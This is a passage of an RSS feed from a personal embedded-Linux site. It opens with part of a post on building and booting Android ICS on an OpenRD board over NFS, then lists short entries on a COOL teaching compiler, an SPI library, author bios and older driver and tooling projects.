<p>By the way, the tool-chain used to compile the kernel is the <em>standard</em> <a href="http://www.mentor.com/embedded-software/sourcery-tools/sourcery-codebench/editions/lite-edition/">Codesourcery one</a>.</p>
<h2 id="android-user-space-compilation">Android user-space compilation</h2>
<div id="attachment_83" style="width: 310px" class="wp-caption alignleft">
  <a href="http://www.evolware.org/wp-content/uploads/2012/01/P1000442.v01.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-83" class="size-medium wp-image-83" title="Android on OpenRD" src="http://www.evolware.org/wp-content/uploads/2012/01/P1000442.v01-300x225.jpg" alt="Android on OpenRD" width="300" height="225" srcset="https://www.evolware.org/wp-content/uploads/2012/01/P1000442.v01-300x225.jpg 300w, https://www.evolware.org/wp-content/uploads/2012/01/P1000442.v01.jpg 1000w" sizes="(max-width: 300px) 100vw, 300px" /></a>
  <p id="caption-attachment-83" class="wp-caption-text">
    Android on OpenRD
  </p>
</div>
<p>It&rsquo;s quite an adventure to build Android ASOP from sources. I strongly encourage you, if you are, like me, new to the Android planet, to read the wonderful book <a href="http://shop.oreilly.com/product/0636920021094.do">Embedded Android</a> by <a href="http://shop.oreilly.com/product/0636920021094.do#tab_03">Karim Yaghmour</a>. I bought it as a pre-release but I&rsquo;m sure the the four initial chapters alone saved me lot of hours browsing the Internet. I started from the 4.0.3 tag in the ASOP repo. The first step is to setup the build environment. The build dependencies are rather complicated. Following the book mentioned above this is what was needed on Debian Squeeze:</p>
<pre>aptitude install bison flex gperf git-core gnupg zip tofrodos
 build-essential g++-multilib libc6-dev libc6-dev-i386 ia32-libs
 mingw32 zlib1g-dev lib32z1-dev x11proto-core-dev libx11-dev
 lib32readline5-dev libgl1-mesa-dev lib32ncurses5-dev
sudo ln -s /usr/lib32/libstdc++.so.6 /usr/lib32/libstdc++.so
sudo ln -s /usr/lib32/libz.so.1 /usr/lib32/libz.so</pre>
<p>Much more complicated is to get rid of the OpenJDK/gcj Java tools incompatible with Android. I didn&rsquo;t want to remove them because a whole lot of other packages depends on them. After installing latest Sun Java 6 SKD in /opt/java/ I sanitized the shell environment:</p>
<pre>export PATH=/opt/java/bin/:$PATH
export JAVA_HOME=/opt/java/
export java_home=/opt/java/
unset _java
unset _java_classes
unset _java_find_classpath
unset _java_find_sourcepath
unset _java_packages
unset _java_path
export ANDROID_JAVA_HOME=$JAVA_HOME</pre>
<p>The next step is writing a configuration file for the board (under <em>device/evol/openrd</em> for example). Much of this is quite standard as outlined in Karim&rsquo;s book, the important difference is <em>BoardConfig.mk</em>:</p>
<pre>TARGET_NO_KERNEL := true
TARGET_NO_BOOTLOADER := true
TARGET_CPU_ABI := armeabi-v5te
TARGET_CPU_ABI2 := armeabi
TARGET_ARCH_VARIANT := armv5te
BOARD_USES_GENERIC_AUDIO := true
USE_CAMERA_STUB := true
BOARD_HAVE_BLUETOOTH := false</pre>
<p>Here is a list of various modifications to the AOSP needed to build and run the whole thing:</p>
<ul>
<li>There is quite a lot of arm7 optimized code in webrtc library (in the file <em>spl_inl.h</em>) that has to be substituted with standard C code.</li>
<li>The code has a lot of not aligned accesses so it&rsquo;s important to modify <em>/proc/cpu/alignment</em> to 2 in <em>init.rc</em>.</li>
<li>Since we are mounting the root file-system via NFS we must check in <em>init.rc</em> that no other partitions are mounted to <em>/data</em> and <em>/system</em>. Some other directories such /mnt/sdcard are not created, we must do this as well in <em>init.rc</em>.</li>
<li>As detailed <a href="http://groups.google.com/group/android-porting/browse_thread/thread/45f8ab91e9596c78">in this post</a> there is a bug that prevents web pages to be rendered in the Android browser. It&rsquo;s pretty incredible that such a bug passed the QA at Google, but the fix cited in the post works.</li>
<li>Because the network is setup before Android runs we must use the Dummy Network Tracker for the connectivity manager. It is configured in <em>frameworks/base/core/res/res/values/config.xml</em>. I had to make some kludges in <em>ConnectivityService.java</em> and <em>NetworInfo.java</em> to force the system believe that network is connected, I&rsquo;m not sure if this is due to a real problem or, more likely, to a scarce knowledge on my side of the Android frameworks. Perhaps it would be better to use the android-x86 Ethernet Network Tracker, but I wasn&rsquo;t sure how it does interact with a NFS mounted root. As far as network is concerned you have to set the DNS for the frameworks with something like  <em>setprop net.dns1 8.8.8.8</em> and <em>setprop net.dns2 8.8.4.4</em> in <em>init.rc</em>.</li>
<li>I&rsquo;ve disabled the OpenGL hardware rendering (there&rsquo;s no such thing on the OpenRD) as outlined <a href="https://wiki.linaro.org/Platform/Android/ICSwithSoftwareGL">here</a> (<em>core/java/android/view/HardwareRenderer.java</em>).</li>
</ul>
<p>The build commands are standard:</p>
<pre>. build/envsetup.sh
lunch
# select openrd-eng
make -j4</pre>
<p>&hellip; and now a lot of patience 🙂</p>
<h2 id="trying-it-out">Trying it out</h2>
<div id="attachment_84" style="width: 248px" class="wp-caption alignright">
  <a href="http://www.evolware.org/wp-content/uploads/2012/01/P1000444.v01.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-84" class="size-medium wp-image-84" title="Android on OpenRD" src="http://www.evolware.org/wp-content/uploads/2012/01/P1000444.v01-238x300.jpg" alt="Android on OpenRD" width="238" height="300" srcset="https://www.evolware.org/wp-content/uploads/2012/01/P1000444.v01-238x300.jpg 238w, https://www.evolware.org/wp-content/uploads/2012/01/P1000444.v01.jpg 682w" sizes="(max-width: 238px) 100vw, 238px" /></a>
  <p id="caption-attachment-84" class="wp-caption-text">
    Android on OpenRD
  </p>
</div>
<p>Android works quite well on the OpenRD via NFS (you have to wait a bit on the first boot while the dalvik cache is created via the network and don&rsquo;t expect super-smooth graphics from the frame buffer without acceleration). You can read email, browse the web and use quite a lot of apps. <a href="http://www.evolware.org/dnload/android-output.txt">Here</a> is what does the serial terminal show. You can connect to the machine also with <em>adb connect [machine ip]</em> and <em>adb shell</em>.</p>
<p>If you want to try the thing out on the OpenRD you can download the root file system from <a href="http://www.4shared.com/file/DpwLZr8m/icsrd-20110119tar.html">here</a>. The kernel is in the <em>/boot</em> directory. Just export the file-system via NFS, the kernel uImage via TFTP and with the U-boot commands listed above you&rsquo;re done.</p>
<p>There are still some problems that will be solved (hopefully) in follow-ups to this article.</p>
<ul>
<li>Audio is not here. I&rsquo;m still thinking if it&rsquo;s best to modify Samsug Tuna <em>audio_hw.c</em> provided in the AOSP or wait for the Android PulseAudio patches being released for ICS (the latter would mean no work to be done because ALSA audio is working well in the kernel used).</li>
<li>The official Market App doesn&rsquo;t work. It dies saying that the network doesn&rsquo;t support a &ldquo;billing method&rdquo;. This has something to do with the using of the Dummy Network Tracker.</li>
<li>The galley applications doesn&rsquo;t show the pictures. From the logcat it looks like some OpenGL functions are not implemented (in the software OpenGL renderer I guess &hellip; strange).</li>
<li>There are sporadic <em>OutOfMemory exceptions</em> while loading bitmaps. I saw this mentioned on some threads on the web but wasn&rsquo;t able to understand it. The problem is sporadic and I&rsquo;m sure there is still plenty of memory available in the system.</li>
</ul>
<h3 id="comments">Comments</h3>
<ul>
<li><strong>Steven Jackson on 2012-02-02 12:15:32 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks for the tips and especially the book recommendation.</p>
</blockquote>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2012-01-24:2012-01-24T21:11:24Z</guid>

                
                    <link>https://www.evolware.org/2012/01/24/android-on-openrd-part-1/</link>
                

                
                    <pubDate>Tue, 24 Jan 2012 21:11:24 UTC</pubDate>
                

                
                    <title>Android on OpenRD, part 1</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>coolc is a limited class use COOL (Classroom Object Oriented Language) compiler written in C using LEX and YACC. coolc will perform an almost complete static type-check on the given file and generate the intermediate code in a three-address language for a limited subset of the COOL constructs. The three-address code will then be interpreted by the built-in interpreter and the output displayed to the user.</p>
<p>coolc doesn&rsquo;t fully support all the COOL language constructs. coolc main features are centered around the developing of the dispatch construct of COOL:<br>
ID.ID():void</p>
<p>Therefore, briefly, coolc is able to handle:</p>
<ul>
<li>definition of classes without inheritance</li>
<li>definition of attributes of various types in classes</li>
<li>definition of methods in classes</li>
<li>definition of dispatching methods in methods body without parameters and without a return value</li>
</ul>
<p>To make the output of the generated programs more readable and explicit an additional command &ldquo;print&rdquo; has been added to the COOL language. This command will simply display on screen a defined constant string (please refer to the next sections for a definition of this new language construct).<br>
coolc will also generate and execute code for constant expressions (both integer and boolean). Execution of such code will just modify the internal status of the interpreter but won&rsquo;t be used by further constructs, since the return values aren&rsquo;t really handled.<br>
coolc will additionally also construct a partial semantic tree of the code examined and perform some basic type-checking operations:</p>
<ul>
<li>accordance between return value and method return type definition</li>
<li>compatibility of types in variable assignments</li>
<li>presence of a Bool expression for NOT/IF/WHILE arguments</li>
<li>redefinition of classes</li>
<li>redefinition of methods and attributes inside classes</li>
<li>use of undeclared variables and methods</li>
</ul>
<p>Pay attention that just the dispatch code, the non-standard &ldquo;print&rdquo; and the constant expression will generate proper code to be executed by the interpreter. All the other constructs can be type-checked but will not be transformed into intermediate code (and later executed) if not maybe partially, generating unwanted execution code.<br>
The basic Bool and Int COOL classes has been defined in coolc even if, being most of the expressions operators missing, they are quite simply managed.</p>
<p>You can download <a href="http://www.evolware.org/dnload/coolc.tar.gz">the full package here</a> for the full source code, full documentation of this teaching project and code samples in the COOL language.</p>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2012-01-09:2012-01-09T16:31:47Z</guid>

                
                    <link>https://www.evolware.org/2012/01/09/cool-language-compiler-example-compilers-courses/</link>
                

                
                    <pubDate>Mon, 09 Jan 2012 16:31:47 UTC</pubDate>
                

                
                    <title>Cool Language Compiler Example – Compilers courses</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p><a href="http://www.evolware.org/dnload/ftdispi-20111229.tar.gz">ftdispi</a> is a small library that can be used to interface SPI devices to FTDI based USB to JTAG interfaces. It is based on <a href="http://www.libusb.org/">libus-1.0</a>. It was tested with the <a href="http://www.xverve.com/">Xverve Signalyzer</a> (USB VID <em>0x0403</em>, PID <em>0xbca0</em>). Have a look at the included example <em>testftdispi.c</em> for usage instructions.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2011-12-29:2011-12-29T19:19:25Z</guid>

                
                    <link>https://www.evolware.org/2011/12/29/ftdispi-a-library-for-interfacing-spi-devices-with-ftdi-based-usb-to-jtag-dongles/</link>
                

                
                    <pubDate>Thu, 29 Dec 2011 19:19:25 UTC</pubDate>
                

                
                    <title>ftdispi, a library for interfacing SPI devices with FTDI based USB to JTAG dongles</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<h2 id="christian-pellegrin">Christian Pellegrin</h2>
<p>I was born in 1974. My mother tongues are Italian and Slovene and I have a discrete control of the English language. I work as a software developer. My hobbies are computer science, free software, science, photography, reading, and mountaineering. You can follow my wanderings on <a href="http://www.flickr.com/photos/chripell/" title="Christian's">my flickr page</a>. You can find some software I hack on on at my <a href="https://github.com/chripell/">github page</a>. <a href="http://www.evolware.org/chri/mypublickey.asc">My public key</a> address is <a href="mailto:chripell@fsfe.org">chripell@fsfe.org</a>. You can also reach me at <a href="mailto:chripell@gmail.com">chripell@gmail.com</a> or <a href="mailto:chri@evolware.org">chri@evolware.org</a>.</p>
<h2 id="federico-pellegrin">Federico Pellegrin</h2>
<p>I was born in 1979 and started as a IT consultant in 2001. I&rsquo;m a software generalist with specific knowledge in full life-cycle of embedded systems and Web interfaces applied expecially to automotive, entertainment and refrigeration industry. I&rsquo;m very interested in teaching with free software systems and tools to professionals and children. I currently work at the <a href="https://www.eso.org">European Southern Observatory</a> where I mainly contribute to the build environment and infrastructure for the operational Very Large Telescope (VLT) and the upcoming Extremely Large Telescope (ELT). In my free time I enjoy reading postmodern literature and, if the weather conditions permit it, observe the skies from high mountains with my 46cm Dobsonian. You can contact me at <a href="mailto:fede@evolware.org">fede@evolware.org</a>, my GPG public key can be found on public key servers.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2011-12-29:2011-12-29T17:04:14Z</guid>

                
                    <link>https://www.evolware.org/about/</link>
                

                
                    <pubDate>Thu, 29 Dec 2011 17:04:14 UTC</pubDate>
                

                
                    <title>Who is who?</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p><a href="../j2k/">Eurotech CTR1474 Linux driver.</a> This is a powerful PC/104 board for DVR applications. It features an JPEG2000 codec and TWA2835 video processor.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2009-12-19:2009-12-19T17:26:44Z</guid>

                
                    <link>https://www.evolware.org/2009/12/19/hardware-jpeg2000-on-linux/</link>
                

                
                    <pubDate>Sat, 19 Dec 2009 17:26:44 UTC</pubDate>
                

                
                    <title>Hardware JPEG2000 on Linux</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p><a href="http://www.evolware.org/chri/slo/index.html">An article</a> on how to use Slovenian characters under a Linux/GNU/X11 system. (<em>in Slovene</em>)</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2009-10-31:2009-10-31T17:53:12Z</guid>

                
                    <link>https://www.evolware.org/2009/10/31/using-slovenian-characters-on-an-italian-keyboard/</link>
                

                
                    <pubDate>Sat, 31 Oct 2009 17:53:12 UTC</pubDate>
                

                
                    <title>Using Slovenian characters on an Italian keyboard</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p><a href="../chri/crunch/index.html">crosstool-ng</a> for the Maverick Crunch processors. With the generated toolchain you can use the FPU unit in this line of processors to speed-up calculations.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2009-10-30:2009-10-30T17:56:58Z</guid>

                
                    <link>https://www.evolware.org/2009/10/30/crosstool-ng-for-the-maverick-crunch-processors/</link>
                

                
                    <pubDate>Fri, 30 Oct 2009 17:56:58 UTC</pubDate>
                

                
                    <title>crosstool-ng for the Maverick Crunch processors</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p><a href="../chri/ctr/index.html">ctrtool</a> is a tool to translate the  Friuli Venezia Giulia&rsquo;s official cartography (CTRN, <em>carta tecnica regionale numerica</em>) in a format readable by the popular Garmin hand-held GPSes. Very useful for hiking. (<em>in Italian</em>)</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2009-04-03:2009-04-03T17:48:52Z</guid>

                
                    <link>https://www.evolware.org/2009/04/03/using-the-friuli-venezia-giulias-official-cartography-ctrn-on-a-garmin-gps/</link>
                

                
                    <pubDate>Fri, 03 Apr 2009 17:48:52 UTC</pubDate>
                

                
                    <title>Using the Friuli Venezia Giulia’s official cartography (CTRN) on a Garmin GPS</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p><a href="../chri/mindeb/index.html">Mindeb, an embedded distribution from scratch based on Debian Etch.</a> (<em>in Italian</em>)</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2008-08-02:2008-08-02T17:45:41Z</guid>

                
                    <link>https://www.evolware.org/2008/08/02/how-to-build-a-debian-based-embedded-distribution/</link>
                

                
                    <pubDate>Sat, 02 Aug 2008 17:45:41 UTC</pubDate>
                

                
                    <title>How to build a Debian based embedded distribution</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p><a href="../chri/serocco/index.html">Serocco driver.</a> Linux 2.6.12 device driver for the chip &ldquo;Serocco PEB/PEF 20532&rdquo;</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2006-12-25:2006-12-25T17:24:48Z</guid>

                
                    <link>https://www.evolware.org/2006/12/25/serocco-pebpef-20532-linux-2-6-12-driver/</link>
                

                
                    <pubDate>Mon, 25 Dec 2006 17:24:48 UTC</pubDate>
                

                
                    <title>Serocco PEB/PEF 20532 Linux 2.6.12 driver</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p><a href="../chri/hopeless.html">Hopeless</a>, the description of a system for easy set-up of disk-less clusters, based on unionfs.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2006-10-10:2006-10-10T17:21:20Z</guid>

                
                    <link>https://www.evolware.org/2006/10/10/hopeless-a-system-for-building-disk-less-clusters/</link>
                

                
                    <pubDate>Tue, 10 Oct 2006 17:21:20 UTC</pubDate>
                

                
                    <title>Hopeless, a system for building disk-less clusters</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>Christian Pellegrin&rsquo;s <a href="../chri/mian.pdf">graduation thesis</a> (in <em>Italian</em>) and the <a href="../chri/seeing/index.html">software</a> that was developed.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2006-09-08:2006-09-08T17:14:07Z</guid>

                
                    <link>https://www.evolware.org/2006/09/08/atmospheric-seeing-simulation-and-correction/</link>
                

                
                    <pubDate>Fri, 08 Sep 2006 17:14:07 UTC</pubDate>
                

                
                    <title>Atmospheric seeing simulation and correction</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>A brief analysis of the SQL3 support in PostgreSQL 7.1.2 can be <a href="http://www.evolware.org/dnload/pg71sql3.pdf">found here</a>. (in italian)</p>
<p>Una breve analisi del supporto di SQL3 di PostgreSQL 7.1.2 può essere <a href="http://www.evolware.org/dnload/pg71sql3.pdf">trovata qui</a>. (in italiano)</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2002-01-09:2002-01-09T05:36:55Z</guid>

                
                    <link>https://www.evolware.org/2002/01/09/postgresql-7-1-2-sql3-support-analysis/</link>
                

                
                    <pubDate>Wed, 09 Jan 2002 05:36:55 UTC</pubDate>
                

                
                    <title>PostgreSQL 7.1.2 SQL3 support analysis</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>An article about the course based on the ECDL syllabus based on Linux and open-source tools organized for high-school teachers published on <a href="http://www.linuxjournal.com/article/5205" title="ECDL: Enjoying Computers, Discovering Linux">Linux Journal Online</a>.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2001-03-08:2001-03-08T05:36:20Z</guid>

                
                    <link>https://www.evolware.org/2001/03/08/enjoying-computers-discovering-linux/</link>
                

                
                    <pubDate>Thu, 08 Mar 2001 05:36:20 UTC</pubDate>
                

                
                    <title>Enjoying Computers, Discovering Linux</title>
                
            </item>
        
    </channel>
</rss>
